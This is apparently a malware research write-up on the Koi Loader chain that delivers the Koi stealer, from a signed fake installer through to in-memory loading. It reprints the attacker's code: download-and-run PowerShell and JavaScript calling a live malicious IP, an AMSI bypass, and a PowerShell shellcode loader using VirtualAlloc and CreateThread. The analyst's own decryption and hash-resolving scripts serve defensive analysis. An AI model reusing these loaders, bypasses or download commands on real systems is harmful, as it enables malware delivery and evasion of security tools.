Koi Loader Attack Chain Analysis

Overview
This post will cover at a high level the attack chain that Koi Loader takes in order to deploy Koi stealer on a system. All artifacts and samples were retrieved from Malware Traffic.
Fake Installer Initial Execution
Fake Installer
Initial access for this sample took form of a digitally singed fake installer file.

The executable file was singed with a valid certificate authority Certum and created for Zhengzhou Lichang Network Technology
.
SignerCertificate : [Subject]
CN="Zhengzhou Lichang Network Technology Co., Ltd.", O="Zhengzhou Lichang Network
Technology Co., Ltd.", L=Zhengzhou, S=Henan, C=CN, SERIALNUMBER=91410122MA40Y0N9XP,
OID.1.3.6.1.4.1.311.60.2.1.1=Zhengzhou, OID.1.3.6.1.4.1.311.60.2.1.2=Henan,
OID.1.3.6.1.4.1.311.60.2.1.3=CN, OID.2.5.4.15=Private Organization
[Issuer]
CN=Certum Extended Validation Code Signing 2021 CA, O=Asseco Data Systems S.A., C=PL
[Serial Number]
04EBDA42BF9235AECF2E07587EC4623F
[Not Before]
11/20/2024 10:40:35 PM
[Not After]
11/20/2025 10:40:34 PM
[Thumbprint]
B78EDD5FFE3A45F2993E98F9CCE5F0187EE880BD
Certificate of Fake Installer
The fake installer was created with Inno Setup. The software InnoUnpacker can be used to extract the contents of this installer file.

This installer packages multiple files, however, these are not used or dropped to the system. They are just dummy files.

Inno Setup has the capability to add various capabilities in the created installer via a Pascal scripting feature. Any scripts added are compiled and stored in the CompiledCode.bin
file.

CompiledCode.bin
Within the CompiledCode.bin
strings we can see malicious Powershell commands present.

CompiledCode.bin
The following is the entire decompiled version of CompiledCode.bin
which was decompiled with IPFSTools.NET.
.version 23
.entry !MAIN
.type primitive(Pointer) Pointer
.type primitive(U32) U32
.type primitive(Variant) Variant
.type primitive(PChar) PChar
.type primitive(Currency) Currency
.type primitive(Extended) Extended
.type primitive(Double) Double
.type primitive(Single) Single
.type primitive(S64) S64
.type primitive(String) String
.type primitive(U32) U32_2
.type primitive(S32) S32
.type primitive(S16) S16
.type primitive(U16) U16
.type primitive(S8) S8
.type(export) funcptr(void()) ANYMETHOD
.type primitive(String) String_2
.type primitive(UnicodeString) UnicodeString
.type primitive(UnicodeString) UnicodeString_2
.type primitive(String) String_3
.type primitive(UnicodeString) UnicodeString_3
.type primitive(WideString) WideString
.type primitive(WideChar) WideChar
.type primitive(WideChar) WideChar_2
.type primitive(Char) Char
.type primitive(U8) U8
.type primitive(U16) U16_2
.type primitive(U32) U32_3
.type(export) primitive(U8) BOOLEAN
.type primitive(U8) U8_2
.type(export) class(TWIZARDFORM) TWIZARDFORM
.type(export) class(TMAINFORM) TMAINFORM
.type(export) class(TUNINSTALLPROGRESSFORM) TUNINSTALLPROGRESSFORM
.type(export) primitive(U8) TEXECWAIT
.global(import) TWIZARDFORM WIZARDFORM
.global(import) TMAINFORM MAINFORM
.global(import) TUNINSTALLPROGRESSFORM UNINSTALLPROGRESSFORM
.function(export) void !MAIN()
ret
.function(export) BOOLEAN INITIALIZESETUP()
pushtype S32 ; StackCount = 1
pushvar RetVal ; StackCount = 2
call WIZARDSILENT
pop ; StackCount = 1
pushtype BOOLEAN ; StackCount = 2
assign Var2, RetVal
setz Var2
sfz Var2
pop ; StackCount = 1
jf loc_27b
pushtype BOOLEAN ; StackCount = 2
pushtype Pointer ; StackCount = 3
setptr Var3, Var1
pushtype TEXECWAIT ; StackCount = 4
assign Var4, TEXECWAIT(0)
pushtype S32 ; StackCount = 5
assign Var5, S32(0)
pushtype UnicodeString_2 ; StackCount = 6
assign Var6, UnicodeString_3("")
pushtype UnicodeString_2 ; StackCount = 7
assign Var7, UnicodeString_3("-command IWR -UseBasicParsing -Uri 'http://79.124.78.109/wp-includes/neocolonialXAW.php' -OutFile ($env:temp+'\\vqPM0l4stR.js'); wscript ($env:temp+'\\vqPM0l4stR.js');")
pushtype UnicodeString_2 ; StackCount = 8
pushtype UnicodeString_2 ; StackCount = 9
assign Var9, UnicodeString_3("{sysnative}\\WindowsPowerShell\\v1.0\\powershell.exe")
pushvar Var8 ; StackCount = 10
call EXPANDCONSTANT
pop ; StackCount = 9
pop ; StackCount = 8
pushvar Var2 ; StackCount = 9
call EXEC
pop ; StackCount = 8
pop ; StackCount = 7
pop ; StackCount = 6
pop ; StackCount = 5
pop ; StackCount = 4
pop ; StackCount = 3
pop ; StackCount = 2
pop ; StackCount = 1
loc_27b:
ret
.function(import) external internal returnsval WIZARDSILENT()
.function(import) external internal returnsval EXEC(__in __unknown,__in __unknown,__in __unknown,__in __unknown,__in __unknown,__out __unknown)
.function(import) external internal returnsval EXPANDCONSTANT(__in __unknown)
Decompiled Pascal Script from Inno Setup
From this decompiled code we can determine that the installer will first download a Javascript file and write it to a temporary directory, after it will invoke the Javascript file via wscript
.
IWR -UseBasicParsing -Uri 'hxxp://79.124.78.109/wp-includes/neocolonialXAW.php' -OutFile ($env:temp+'\vqPM0l4stR.js');
wscript ($env:temp+'\vqPM0l4stR.js');
The following diagram summarizes the core steps the fake installer will take in order to execute Koi Loader, which will subsequently run Koi Stealer. The next sections will dive deeper into each step taken after the execution of the fake installer.

Download #1 - Malicious Javascript Code
The first step after the execution of the fake installer is the download of malicious Javascript code that will be written to a temporary folder.
The fake installer will directly execute:
IWR -UseBasicParsing -Uri 'http://79.124.78.109/wp-includes/neocolonialXAW.php' -OutFile ($env:temp+'\\vqPM0l4stR.js');
This will result in the Javascript file download over HTTP.

This script has the responsibility to download and run two separate Powershell scripts.
hxxp://79.124.78.109/wp-includes/phyllopodan7V7GD.php
: AMSI Bypass Scripthxxp://79.124.78.109/wp-includes/barasinghaby.ps1
: Koi Loader Downloader
// Create file system object for file manipulation
var fso = new ActiveXObject("Scripting.FileSystemObject");
// Create Windows Script Host object to run system commands
var wsh = new ActiveXObject("WScript.Shell");
// Detect system architecture (64-bit or 32-bit)
var systemFolder = GetObject("winmgmts:root\\cimv2:Win32_Processor='cpu0'").AddressWidth == 64 ? "SysWOW64" : "System32";
// Get the path to PowerShell executable based on system architecture
var powershellPath = wsh.ExpandEnvironmentStrings("%SYSTEMROOT%") + "\\" + systemFolder + "\\WindowsPowerShell\\v1.0\\powershell.exe";
// Generate a unique filename based on MachineGuid from the registry
var uniqueFileName = 'r' + wsh.RegRead('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography\\MachineGuid') + 'r.js';
// Check if the current script is already named with the unique filename
if (WScript.ScriptName != uniqueFileName) {
try {
// Copy the current script to the ProgramData folder with the unique name
fso.CopyFile(WScript.ScriptFullName, wsh.ExpandEnvironmentStrings("%programdata%") + "\\" + uniqueFileName);
} catch (e) {
// Handle any errors (e.g., permission issues)
}
}
// Define a temporary file name for a potential malicious file
var tempFileName = "7zTJRTNUX3VD";
var tempFilePath = wsh.ExpandEnvironmentStrings("%temp%") + "\\" + tempFileName;
// Try to delete the temporary file if it exists
try {
fso.DeleteFile(tempFilePath);
} catch (e) {
// Handle any errors (e.g., file not found)
}
// Check if the temporary file does not exist
if (!fso.FileExists(tempFilePath)) {
// Run the PowerShell command to download and execute malicious scripts
var command = powershellPath + " -command \"$l1 = 'http://79.124.78.109/wp-includes/phyllopodan7V7GD.php'; " +
"$l2 = 'http://79.124.78.109/wp-includes/barasinghaby.ps1'; " +
"$a = [Ref].Assembly.GetTypes(); " +
"foreach ($b in $a) { if ($b.Name -like '*siU*s') { $c = $b } }; " +
"$env:paths = '" + tempFileName + "'; " +
"IEX (Invoke-WebRequest -UseBasicParsing $l1); " +
"IEX (Invoke-WebRequest -UseBasicParsing $l2)\"";
wsh.Run(command, 0);
}
Malicious Javascript File
Download #2 - AMSI Bypass
The first Powershell script to be downloaded and executed included a AMSI bypass.

# Define a string pattern to be matched
$pattern = "yyWubZA2bLJUiTqmHcYttKZ7DIVYqf47J6AeiTqmHcYttKZ7jq9faTN5t7IeiTqmHcYttKZ7SuwSufiXjG2hiTqmHcYttKZ7jd78eScwXsGtiTqmHcYttKZ71CcOWkfJwaYtiTqmHcYttKZ7pGvxphMdyojsiTqmHcYttKZ7aq2glEPfEC9F"
# Match the pattern in the string
$matchedString = $pattern -match "iTqmHcYttKZ7"
# Get non-public static fields of the class (assuming `$c` is defined elsewhere)
$fields = $c.GetFields("NonPublic,Static")
# Iterate over the fields and set values based on a condition
foreach ($field in $fields) {
if ($field.Name -like "*am*ed") {
$field.SetValue($null, $matchedString)
}
}
AMSI Bypass
Download #3 - Koi Loader Download
The second Powershell script downloaded and executed is responsible for the execution of Koi loader.

The Powershell script contains a hardcoded path hxxp://79.124.78.109/wp-includes/guestwiseYtHA.exe
from which the Koi loader will be downloaded from. In addition the script contains shellcode that will be used to map the Koi loader PE into memory.
[Byte[]]$targetPE = (IWR -UseBasicParsing 'http://79.124.78.109/wp-includes/guestwiseYtHA.exe').Content;
function GDT
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$DA = New-Object System.Reflection.AssemblyName('RD')
$AB = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DA, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$MB = $AB.DefineDynamicModule('IMM', $false)
$TB = $MB.DefineType('MDT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$CB = $TB.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$CB.SetImplementationFlags('Runtime, Managed')
$MB = $TB.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MB.SetImplementationFlags('Runtime, Managed')
Write-Output $TB.CreateType()
}
function GPA
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null)
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
$marshal = [System.Runtime.InteropServices.Marshal]
[Byte[]]$peMappingShellcode = 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x53, 0x56, 0x57, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x40, 0x0C, 0x8B, 0x00, 0x8B, 0x00, 0x8B, 0x40, 0x18, 0x89, 0x45, 0xF8, 0x8B, 0x75, 0xF8, 0xBA, 0xF1, 0xF0, 0xAD, 0x0A, 0x8B, 0xCE, 0xE8, 0xD2, 0x01, 0x00, 0x00, 0xBA, 0x03, 0x1D, 0x3C, 0x0B, 0x89, 0x45, 0xF0, 0x8B, 0xCE, 0xE8, 0xC3, 0x01, 0x00, 0x00, 0xBA, 0xE3, 0xCA, 0xD8, 0x03, 0x89, 0x45, 0xEC, 0x8B, 0xCE, 0xE8, 0xB4, 0x01, 0x00, 0x00, 0x8B, 0xD8, 0x8B, 0x45, 0x08, 0x6A, 0x40, 0x68, 0x00, 0x30, 0x00, 0x00, 0x8B, 0x70, 0x3C, 0x03, 0xF0, 0x89, 0x75, 0xFC, 0xFF, 0x76, 0x50, 0xFF, 0x76, 0x34, 0xFF, 0xD3, 0x8B, 0xF8, 0x85, 0xFF, 0x75, 0x17, 0x6A, 0x40, 0x68, 0x00, 0x30, 0x00, 0x00, 0xFF, 0x76, 0x50, 0x50, 0xFF, 0xD3, 0x8B, 0xF8, 0x85, 0xFF, 0x0F, 0x84, 0x66, 0x01, 0x00, 0x00, 0x8B, 0x56, 0x54, 0x85, 0xD2, 0x74, 0x18, 0x8B, 0x75, 0x08, 0x8B, 0xCF, 0x2B, 0xF7, 0x8A, 0x04, 0x0E, 0x8D, 0x49, 0x01, 0x88, 0x41, 0xFF, 0x83, 0xEA, 0x01, 0x75, 0xF2, 0x8B, 0x75, 0xFC, 0x0F, 0xB7, 0x4E, 0x14, 0x33, 0xC0, 0x03, 0xCE, 0x33, 0xDB, 0x89, 0x4D, 0xF4, 0x66, 0x3B, 0x46, 0x06, 0x73, 0x44, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xB7, 0xC3, 0x8D, 0x04, 0x80, 0x8B, 0x54, 0xC1, 0x28, 0x8B, 0x74, 0xC1, 0x2C, 0x8B, 0x4C, 0xC1, 0x24, 0x03, 0x75, 0x08, 0x03, 0xCF, 0x85, 0xD2, 0x74, 0x13, 0x2B, 0xF1, 0x0F, 0x1F, 0x00, 0x8A, 0x04, 0x0E, 0x8D, 0x49, 0x01, 0x88, 0x41, 0xFF, 0x83, 0xEA, 0x01, 0x75, 0xF2, 0x8B, 0x75, 0xFC, 0x43, 0x8B, 0x4D, 0xF4, 0x66, 0x3B, 0x5E, 0x06, 0x72, 0xC5, 0x8B, 0x86, 0x80, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x76, 0x83, 0xBE, 0x84, 0x00, 0x00, 0x00, 0x14, 0x72, 0x6D, 0x83, 0x7C, 0x38, 0x0C, 0x00, 0x8D, 0x1C, 0x38, 0x89, 0x5D, 0x08, 0x74, 0x60, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x8B, 0x43, 0x0C, 0x03, 0xC7, 0x50, 0xFF, 0x55, 0xF0, 0x8B, 0xD0, 0x89, 0x55, 0xF4, 0x85, 0xD2, 0x74, 0x3A, 0x8B, 0x73, 0x10, 0x8B, 0x0B, 0x85, 0xC9, 0x8D, 0x1C, 0x3E, 0x0F, 0x45, 0xF1, 0x03, 0xF7, 0x8B, 0x06, 0x85, 0xC0, 0x74, 0x22, 0x79, 0x05, 0x0F, 0xB7, 0xC0, 0xEB, 0x05, 0x83, 0xC0, 0x02, 0x03, 0xC7, 0x50, 0x52, 0xFF, 0x55, 0xEC, 0x8B, 0x55, 0xF4, 0x83, 0xC6, 0x04, 0x89, 0x03, 0x83, 0xC3, 0x04, 0x8B, 0x06, 0x85, 0xC0, 0x75, 0xDE, 0x8B, 0x5D, 0x08, 0x83, 0xC3, 0x14, 0x89, 0x5D, 0x08, 0x83, 0x7B, 0x0C, 0x00, 0x75, 0xA8, 0x8B, 0x75, 0xFC, 0x8B, 0xDF, 0x2B, 0x5E, 0x34, 0x83, 0xBE, 0xA4, 0x00, 0x00, 0x00, 0x00, 0x74, 0x52, 0x8B, 0x86, 0xA0, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x48, 0x83, 0x3C, 0x38, 0x00, 0x8D, 0x14, 0x38, 0x74, 0x3F, 0x0F, 0x1F, 0x40, 0x00, 0x8B, 0x72, 0x04, 0x8D, 0x42, 0x04, 0x83, 0xEE, 0x08, 0x89, 0x45, 0x08, 0xD1, 0xEE, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x74, 0x1C, 0x0F, 0xB7, 0x44, 0x4A, 0x08, 0x66, 0x85, 0xC0, 0x74, 0x0A, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x03, 0x02, 0x01, 0x1C, 0x38, 0x41, 0x3B, 0xCE, 0x72, 0xE7, 0x8B, 0x45, 0x08, 0x03, 0x10, 0x83, 0x3A, 0x00, 0x75, 0xC8, 0x8B, 0x75, 0xFC, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x89, 0x78, 0x08, 0x8B, 0x46, 0x28, 0x03, 0xC7, 0xFF, 0xD0, 0x5F, 0x5E, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x53, 0x8B, 0xD9, 0x89, 0x55, 0xF8, 0x56, 0x57, 0x33, 0xFF, 0x8B, 0x43, 0x3C, 0x8B, 0x44, 0x18, 0x78, 0x03, 0xC3, 0x8B, 0x48, 0x1C, 0x8B, 0x50, 0x24, 0x03, 0xCB, 0x03, 0xD3, 0x89, 0x4D, 0xEC, 0x8B, 0x48, 0x20, 0x03, 0xCB, 0x89, 0x55, 0xF0, 0x8B, 0x50, 0x18, 0x89, 0x4D, 0xF4, 0x89, 0x55, 0xFC, 0x85, 0xD2, 0x74, 0x4B, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x8B, 0x34, 0xB9, 0x03, 0xF3, 0x74, 0x3A, 0x8A, 0x0E, 0x33, 0xC0, 0x84, 0xC9, 0x74, 0x2A, 0x90, 0xC1, 0xE0, 0x04, 0x8D, 0x76, 0x01, 0x0F, 0xBE, 0xC9, 0x03, 0xC1, 0x8B, 0xD0, 0x81, 0xE2, 0x00, 0x00, 0x00, 0xF0, 0x74, 0x07, 0x8B, 0xCA, 0xC1, 0xE9, 0x18, 0x33, 0xC1, 0x8A, 0x0E, 0xF7, 0xD2, 0x23, 0xC2, 0x84, 0xC9, 0x75, 0xDA, 0x8B, 0x55, 0xFC, 0x3B, 0x45, 0xF8, 0x74, 0x11, 0x8B, 0x4D, 0xF4, 0x47, 0x3B, 0xFA, 0x72, 0xBA, 0x5F, 0x5E, 0x33, 0xC0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x45, 0xF0, 0x8B, 0x4D, 0xEC, 0x0F, 0xB7, 0x04, 0x78, 0x5F, 0x5E, 0x8B, 0x04, 0x81, 0x03, 0xC3, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC
$VAAddr = GPA kernel32.dll VirtualAlloc
$VADeleg = GDT @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VA = $marshal::GetDelegateForFunctionPointer($VAAddr, $VADeleg)
$CTAddr = GPA kernel32.dll CreateThread
$CTDeleg = GDT @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CT = $marshal::GetDelegateForFunctionPointer($CTAddr, $CTDeleg)
$WFSOAddr = GPA kernel32.dll WaitForSingleObject
$WFSODeleg = GDT @([IntPtr], [Int32]) ([Int])
$WFSO = $marshal::GetDelegateForFunctionPointer($WFSOAddr, $WFSODeleg)
# Put PE Mapping Shellcode into RX Buffer
$peMappingShellcodeBuffer=$VA.Invoke(0,$peMappingShellcode.Length, 0x3000, 0x40)
$marshal::Copy($peMappingShellcode, 0, $peMappingShellcodeBuffer, $peMappingShellcode.Length);
# Put Target PE File into Buffer
$targetPEBuffer = $marshal::AllocHGlobal($targetPE.Length)
$marshal::Copy($targetPE, 0, $targetPEBuffer, $targetPE.Length);
# Run the PE Mapping Shellcode as Thread, and Pass the Target PE File as Paramter
$thread = $CT.Invoke([int]$false, [int]$false, $peMappingShellcodeBuffer, $targetPEBuffer, 0, 0);
$WFSO.Invoke($thread, -1);
Koi Loader Downloader Script
Koi Loader Analysis
Unpacking
Koi Loader is initially present in a packed form before the true Koi loader is executed on the system. The packer starts with junk code and contains a function in the end that initiates the unpacking logic.

The core unpacking function will take the following steps:
- Retrieve the encrypted Koi loader payload from resource
54518
. - Retrieve the XOR keystream from resource
39596
. - Decrypt the encrypted Koi loader payload.
- Map the Koi loader inside memory.
- Execute the entrypoint of Koi loader.

The loader had one instance of API hash resolution in the function that fetches the contents of a specified resource.

The following script was created in order to implement the API hashing routine and understand the three API hashes used in the function.
import pefile
def hash_string(string):
api_hash = 0
for current_char in string:
api_hash = (api_hash * 16) + ord(current_char)
loop_value_temp = api_hash & 0xF0000000
if loop_value_temp != 0:
api_hash = (loop_value_temp >> 0x18) ^ api_hash
api_hash = api_hash & (~loop_value_temp)
return api_hash
def resolve_hashes(dll_path, hashes):
pe = pefile.PE(dll_path)
if not hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'):
print("[-] No export table found.")
return
print(f"[+] Exported functions in: {dll_path}\n")
for i, exp in enumerate(pe.DIRECTORY_ENTRY_EXPORT.symbols):
name = exp.name.decode() if exp.name else "<no name>"
ordinal = exp.ordinal
address = hex(pe.OPTIONAL_HEADER.ImageBase + exp.address)
if hash_string(name) in hashes:
print(hex(hash_string(name)))
print(f"{i+1:3}: {name:40} Ordinal: {ordinal:5} Address: {address}")
# === Main ===
if __name__ == "__main__":
hashes = [0x5681127, 0x9B3B115, 0xDAA96B5]
dll_path = r"C:\Windows\System32\kernel32.dll"
resolve_hashes(dll_path, hashes)
# Example, should return 0x0BA853A5
#print(hex(hash_string("AcquireSRWLockExclusive")))
API Hash resolver
The core of this unpacking routine is to extract the XOR keystream and encrypted payload from the resource.

However, the encrypted payload has each byte separated by 00
's, this is taken into consideration in the packer by multiplying the index into the encrypted data by 2 in order to skip each 00
.

00
in Encrypted PayloadThe following script was written to parse the encrypted payload and XOR keystream and decrypt the contents.
import pefile
def extract_resource_by_id(pe_path, resource_id):
pe = pefile.PE(pe_path)
if not hasattr(pe, 'DIRECTORY_ENTRY_RESOURCE'):
print("[-] No resources found in this PE file.")
return
for entry in pe.DIRECTORY_ENTRY_RESOURCE.entries:
if entry.name is not None:
continue # Skip named root entries
if entry.id == pefile.RESOURCE_TYPE['RT_RCDATA']: # RCDATA is most common for custom binary blobs
for res in entry.directory.entries:
if res.id == resource_id:
data_rva = res.directory.entries[0].data.struct.OffsetToData
size = res.directory.entries[0].data.struct.Size
data_offset = pe.get_offset_from_rva(data_rva)
data = pe.__data__[data_offset:data_offset+size]
print(f"[+] Found resource ID {resource_id}, size: {size} bytes")
return data, size
print(f"[-] Resource with ID {resource_id} not found.")
return None
def unpack(pe_path, xor_keystream_resource_id, encrypted_payload_resource_id):
xor_keystream, xor_keystream_size = extract_resource_by_id(pe_path, xor_keystream_resource_id)
encrypted_payload, encrypted_payload_size = extract_resource_by_id(pe_path, encrypted_payload_resource_id)
encrypted_payload_2 = b''
i = 0
while i < (encrypted_payload_size / 2):
encrypted_payload_2 = encrypted_payload_2 + encrypted_payload[i * 2].to_bytes()
i = i + 1
decrypted_payload = b''
for i, value in enumerate(encrypted_payload_2):
decrypted_byte = encrypted_payload_2[i] ^ xor_keystream[i % xor_keystream_size]
decrypted_payload = decrypted_payload + decrypted_byte.to_bytes()
if decrypted_payload:
with open("decrypted_payload.bin", "wb") as f:
f.write(decrypted_payload)
print("[+] Resource dumped to decrypted_payload.bin")
if __name__ == "__main__":
pe_path = r"2025-01-23-http___79.124.78.109_wp-includes_guestwiseYtHA.exe.bin"
xor_keystream_resource_id = 39596
encrypted_payload_resource_id = 54518
unpack(pe_path, xor_keystream_resource_id, encrypted_payload_resource_id)
Decrypt Koi Loader from Resources
Core Koi Loader
The core of Koi loader will download another Powershell script and execute it. The script downloaded is dependent on the version of .NET available on the system. This is because Koi stealer is written in C# using .NET.

The following is the Powershell script that contains an encrypted version of Koi stealer embedded. This will be decrypted and loaded into memory.
[byte[]] $bindata = 0x09,
0x12, 0xd9, 0x38, 0x30, 0x6c, 0x33, 0x6b, 0x31, 0x6c, 0x48, 0x49, 0xb7, 0xae, 0x79, 0x61,
0x88, 0x6b, 0x4e, 0x75, 0x44, 0x48, 0x49, 0x38, 0x73, 0x6c, 0x33, 0x6b, 0x35, 0x6c, 0x48,
0x49, 0x48, 0x51, 0x79, 0x61, 0x30, 0x6b, 0x4e, 0x75, 0x44, 0x48, 0x49, 0x38, 0x33, 0x6c,
[REMOVED BECAUSE IT IS TOO LARGE]
# [Net.ServicePointManager]::SecurityProtocol +='tls12'
$guid = (Get-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Cryptography).MachineGuid
$cfb = (new-object net.webclient).downloadstring("http://79.124.78.109/index.php?id=$guid&subid=zweyWGzf").Split('|')
$k = $cfb[0];
for ($i = 0; $i -lt $bindata.Length ; ++$i)
{
$bindata[$i] = $bindata[$i] -bxor $k[$i % $k.Length]
}
$bf = [System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Static
$typee = [System.Type]::GetType("System.Reflection.Assembly")
$mtd = $typee.GetMethod("Load", [Type[]]@([byte[]]))
$sm = $mtd.Invoke($null, @(,$bindata))
$ep = $sm.EntryPoint
$ep.Invoke($null, (, [string[]] ($cfb[1], $cfb[2], $cfb[3])))
The call to hxxp://79.124.78.109/index.php?id=$guid&subid=zweyWGzf
will download multiple parameters.

Once the .NET executable is decrypted it is loaded into memory the execution of Koi stealer begins.